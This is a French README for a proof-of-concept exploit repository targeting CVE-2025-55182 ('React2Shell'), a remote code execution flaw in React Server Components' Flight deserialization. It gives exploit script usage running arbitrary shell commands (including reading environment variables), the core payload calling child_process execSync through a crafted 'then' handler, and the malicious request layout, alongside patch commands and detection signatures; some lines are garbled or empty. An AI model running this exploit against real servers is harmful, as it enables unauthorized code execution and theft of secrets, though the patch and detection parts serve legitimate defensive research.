
Exploit de preuve de concept pour CVE-2025-55182 (React2Shell), une vulnérabilité RCE critique dans React Server Components via une désérialisation non sécurisée. Inclut un script d'exploit, la configuration d'une application vulnérable et des signatures de détection pour les tests de sécurité autorisés.
Ce dépôt contient une preuve de concept pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans React Server Components. Ceci est destiné uniquement à des tests de sécurité autorisés et à des fins de recherche.
React :
Next.js :
La vulnérabilité exploite une désérialisation non sécurisée dans le protocole Flight de React Server Components. Lorsqu'un serveur reçoit une charge utile spécialement conçue, il ne parvient pas à valider correctement la structure avant la désérialisation, ce qui permet à des données contrôlées par l'attaquant de manipuler l'exécution côté serveur.
then personnaliséeprocess.mainModule.require('child_process')npm install
npm run dev
Le serveur démarrera sur http://localhost:3000
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target : URL cible (requis)-c, --command : Commande shell à exécuter (par défaut : id)--check-only : Vérifier uniquement si la cible semble vulnérableVérifier si la cible est vulnérable :
python3 exploit.py -t http://localhost:3000 --check-only
Exécuter des commandes arbitraires :
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
L'exploit utilise des données de formulaire multipart avec :
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)
La charge utile manipule l'objet interne _response pour exécuter :
process.mainModule.require('child_process').execSync('<command>')
Mettre à jour React :
npm install [email protected] [email protected]
Mettre à jour Next.js :
npm install [email protected] # or latest patched version
Next-Action$@then suspectes dans les corps de requêtePOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.
NE PAS :
Licence MIT - Uniquement à des fins de recherche en sécurité